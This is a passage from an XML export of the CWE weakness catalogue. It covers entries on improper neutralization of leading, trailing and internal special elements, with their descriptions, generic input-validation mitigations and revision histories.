			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Technical_Impact>Unexpected state</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Description>
						            <Text>Developers should anticipate that multiple leading special elements
							will be injected/removed/manipulated in the input vectors of their
							software system. Use an appropriate combination of black lists and white
							lists to ensure only valid, expected and appropriate input is processed
							by the system.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-5">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Input Validation</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Assume all input is malicious. Use an "accept known good" input
							validation strategy, i.e., use a whitelist of acceptable inputs that
							strictly conform to specifications. Reject any input that does not
							strictly conform to specifications, or transform it into something that
							does.</Text>
						            <Text>When performing input validation, consider all potentially relevant
							properties, including length, type of input, the full range of
							acceptable values, missing or extra inputs, syntax, consistency across
							related fields, and conformance to business rules. As an example of
							business rule logic, "boat" may be syntactically valid because it only
							contains alphanumeric characters, but it is not valid if the input is
							only expected to contain colors such as "red" or "blue."</Text>
						            <Text>Do not rely exclusively on looking for malicious or malformed inputs
							(i.e., do not rely on a blacklist). A blacklist is likely to miss at
							least one undesirable input, especially if the code's environment
							changes. This can give attackers enough room to bypass the intended
							validation. However, blacklists can be useful for detecting potential
							attacks or determining which inputs are so malformed that they should be
							rejected outright.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-28">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Output Encoding</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>While it is risky to use dynamically-generated query strings, code, or
							commands that mix control and data together, sometimes it may be
							unavoidable. Properly quote arguments and escape any special characters
							within those arguments. The most conservative approach is to escape or
							filter all characters that do not pass an extremely strict whitelist
							(such as everything that is not alphanumeric or white space). If some
							special characters are still needed, such as white space, wrap each
							argument in quotes after the escaping/filtering step. Be careful of
							argument injection (CWE-88).</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-20">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Input Validation</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Inputs should be decoded and canonicalized to the application's
							current internal representation before being validated (CWE-180). Make
							sure that the application does not decode the same input twice
							(CWE-174). Such errors could be used to bypass whitelist validation
							schemes by introducing dangerous inputs after they have been
							checked.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Multiple Leading Special Elements</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-10-14</Modification_Date>
					          <Modification_Comment>updated Description</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Description, Name</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-04-05</Modification_Date>
					          <Modification_Comment>updated Description, Name</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Multiple Leading Special
						Elements</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2009-05-27">Failure to Sanitize Multiple
						Leading Special Elements</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2010-04-05">Improper Sanitization of
						Multiple Leading Special Elements</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="162" Name="Improper Neutralization of Trailing Special Elements" Weakness_Abstraction="Variant" Status="Incomplete">
			      <Description>
				        <Description_Summary>The software receives input from an upstream component, but it
					does not neutralize or incorrectly neutralizes trailing special elements that
					could be interpreted in unexpected ways when they are sent to a downstream
					component.</Description_Summary>
				        <Extended_Description>
					          <Text>As data is parsed, improperly handled trailing special elements may cause
						the process to take unexpected actions that result in an attack.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>159</Relationship_Target_ID>
					          <!--Failure to Sanitize Special Element-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>896</Relationship_Target_ID>
					          <!--SFP Cluster: Tainted Input-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Technical_Impact>Unexpected state</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Description>
						            <Text>Developers should anticipate that trailing special elements will be
							injected/removed/manipulated in the input vectors of their software
							system. Use an appropriate combination of black lists and white lists to
							ensure only valid, expected and appropriate input is processed by the
							system.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-5">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Input Validation</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Assume all input is malicious. Use an "accept known good" input
							validation strategy, i.e., use a whitelist of acceptable inputs that
							strictly conform to specifications. Reject any input that does not
							strictly conform to specifications, or transform it into something that
							does.</Text>
						            <Text>When performing input validation, consider all potentially relevant
							properties, including length, type of input, the full range of
							acceptable values, missing or extra inputs, syntax, consistency across
							related fields, and conformance to business rules. As an example of
							business rule logic, "boat" may be syntactically valid because it only
							contains alphanumeric characters, but it is not valid if the input is
							only expected to contain colors such as "red" or "blue."</Text>
						            <Text>Do not rely exclusively on looking for malicious or malformed inputs
							(i.e., do not rely on a blacklist). A blacklist is likely to miss at
							least one undesirable input, especially if the code's environment
							changes. This can give attackers enough room to bypass the intended
							validation. However, blacklists can be useful for detecting potential
							attacks or determining which inputs are so malformed that they should be
							rejected outright.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-28">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Output Encoding</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>While it is risky to use dynamically-generated query strings, code, or
							commands that mix control and data together, sometimes it may be
							unavoidable. Properly quote arguments and escape any special characters
							within those arguments. The most conservative approach is to escape or
							filter all characters that do not pass an extremely strict whitelist
							(such as everything that is not alphanumeric or white space). If some
							special characters are still needed, such as white space, wrap each
							argument in quotes after the escaping/filtering step. Be careful of
							argument injection (CWE-88).</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-20">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Input Validation</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Inputs should be decoded and canonicalized to the application's
							current internal representation before being validated (CWE-180). Make
							sure that the application does not decode the same input twice
							(CWE-174). Such errors could be used to bypass whitelist validation
							schemes by introducing dangerous inputs after they have been
							checked.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Trailing Special Element</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-10-14</Modification_Date>
					          <Modification_Comment>updated Description</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Description, Name</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-04-05</Modification_Date>
					          <Modification_Comment>updated Description, Name</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Trailing Special
						Element</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2009-05-27">Failure to Sanitize Trailing
						Special Element</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2010-04-05">Improper Sanitization of
						Trailing Special Elements</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="163" Name="Improper Neutralization of Multiple Trailing Special Elements" Weakness_Abstraction="Variant" Status="Incomplete">
			      <Description>
				        <Description_Summary>The software receives input from an upstream component, but it
					does not neutralize or incorrectly neutralizes multiple trailing special
					elements that could be interpreted in unexpected ways when they are sent to a
					downstream component.</Description_Summary>
				        <Extended_Description>
					          <Text>As data is parsed, improperly handled multiple trailing special elements
						may cause the process to take unexpected actions that result in an
						attack.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>162</Relationship_Target_ID>
					          <!--Improper Neutralization of Trailing Special Elements-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>896</Relationship_Target_ID>
					          <!--SFP Cluster: Tainted Input-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Technical_Impact>Unexpected state</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Description>
						            <Text>Developers should anticipate that multiple trailing special elements
							will be injected/removed/manipulated in the input vectors of their
							software system. Use an appropriate combination of black lists and white
							lists to ensure only valid, expected and appropriate input is processed
							by the system.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-5">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Input Validation</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Assume all input is malicious. Use an "accept known good" input
							validation strategy, i.e., use a whitelist of acceptable inputs that
							strictly conform to specifications. Reject any input that does not
							strictly conform to specifications, or transform it into something that
							does.</Text>
						            <Text>When performing input validation, consider all potentially relevant
							properties, including length, type of input, the full range of
							acceptable values, missing or extra inputs, syntax, consistency across
							related fields, and conformance to business rules. As an example of
							business rule logic, "boat" may be syntactically valid because it only
							contains alphanumeric characters, but it is not valid if the input is
							only expected to contain colors such as "red" or "blue."</Text>
						            <Text>Do not rely exclusively on looking for malicious or malformed inputs
							(i.e., do not rely on a blacklist). A blacklist is likely to miss at
							least one undesirable input, especially if the code's environment
							changes. This can give attackers enough room to bypass the intended
							validation. However, blacklists can be useful for detecting potential
							attacks or determining which inputs are so malformed that they should be
							rejected outright.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-28">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Output Encoding</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>While it is risky to use dynamically-generated query strings, code, or
							commands that mix control and data together, sometimes it may be
							unavoidable. Properly quote arguments and escape any special characters
							within those arguments. The most conservative approach is to escape or
							filter all characters that do not pass an extremely strict whitelist
							(such as everything that is not alphanumeric or white space). If some
							special characters are still needed, such as white space, wrap each
							argument in quotes after the escaping/filtering step. Be careful of
							argument injection (CWE-88).</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-20">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Input Validation</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Inputs should be decoded and canonicalized to the application's
							current internal representation before being validated (CWE-180). Make
							sure that the application does not decode the same input twice
							(CWE-174). Such errors could be used to bypass whitelist validation
							schemes by introducing dangerous inputs after they have been
							checked.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Multiple Trailing Special Elements</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-10-14</Modification_Date>
					          <Modification_Comment>updated Description</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Description, Name,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-04-05</Modification_Date>
					          <Modification_Comment>updated Description, Name</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Multiple Trailing Special
						Elements</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2009-05-27">Failure to Sanitize Multiple
						Trailing Special Elements</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2010-04-05">Improper Sanitization of
						Multiple Trailing Special Elements</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="164" Name="Improper Neutralization of Internal Special Elements" Weakness_Abstraction="Variant" Status="Incomplete">
			      <Description>
				        <Description_Summary>The software receives input from an upstream component, but it
					does not neutralize or incorrectly neutralizes internal special elements that
					could be interpreted in unexpected ways when they are sent to a downstream
					component.</Description_Summary>
				        <Extended_Description>
					          <Text>As data is parsed, improperly handled internal special elements may cause
						the process to take unexpected actions that result in an attack.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>159</Relationship_Target_ID>
					          <!--Failure to Sanitize Special Element-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>896</Relationship_Target_ID>
					          <!--SFP Cluster: Tainted Input-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Technical_Impact>Unexpected state</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Description>
						            <Text>Developers should anticipate that internal special elements will be
							injected/removed/manipulated in the input vectors of their software
							system. Use an appropriate combination of black lists and white lists to
							ensure only valid, expected and appropriate input is processed by the
							system.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-5">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Input Validation</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Assume all input is malicious. Use an "accept known good" input
							validation strategy, i.e., use a whitelist of acceptable inputs that
							strictly conform to specifications. Reject any input that does not
							strictly conform to specifications, or transform it into something that
							does.</Text>
						            <Text>When performing input validation, consider all potentially relevant
							properties, including length, type of input, the full range of
							acceptable values, missing or extra inputs, syntax, consistency across
							related fields, and conformance to business rules. As an example of
							business rule logic, "boat" may be syntactically valid because it only
							contains alphanumeric characters, but it is not valid if the input is
							only expected to contain colors such as "red" or "blue."</Text>
						            <Text>Do not rely exclusively on looking for malicious or malformed inputs
							(i.e., do not rely on a blacklist). A blacklist is likely to miss at
							least one undesirable input, especially if the code's environment
							changes. This can give attackers enough room to bypass the intended
							validation. However, blacklists can be useful for detecting potential
							attacks or determining which inputs are so malformed that they should be
							rejected outright.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-28">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Output Encoding</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>While it is risky to use dynamically-generated query strings, code, or
							commands that mix control and data together, sometimes it may be
							unavoidable. Properly quote arguments and escape any special characters
							within those arguments. The most conservative approach is to escape or
							filter all characters that do not pass an extremely strict whitelist
							(such as everything that is not alphanumeric or white space). If some
							special characters are still needed, such as white space, wrap each
							argument in quotes after the escaping/filtering step. Be careful of
							argument injection (CWE-88).</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-20">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Input Validation</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Inputs should be decoded and canonicalized to the application's
							current internal representation before being validated (CWE-180). Make
							sure that the application does not decode the same input twice
							(CWE-174). Such errors could be used to bypass whitelist validation
							schemes by introducing dangerous inputs after they have been
							checked.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Internal Special Element</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-10-14</Modification_Date>
					          <Modification_Comment>updated Description</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Description, Name</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-04-05</Modification_Date>
					          <Modification_Comment>updated Description, Name</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
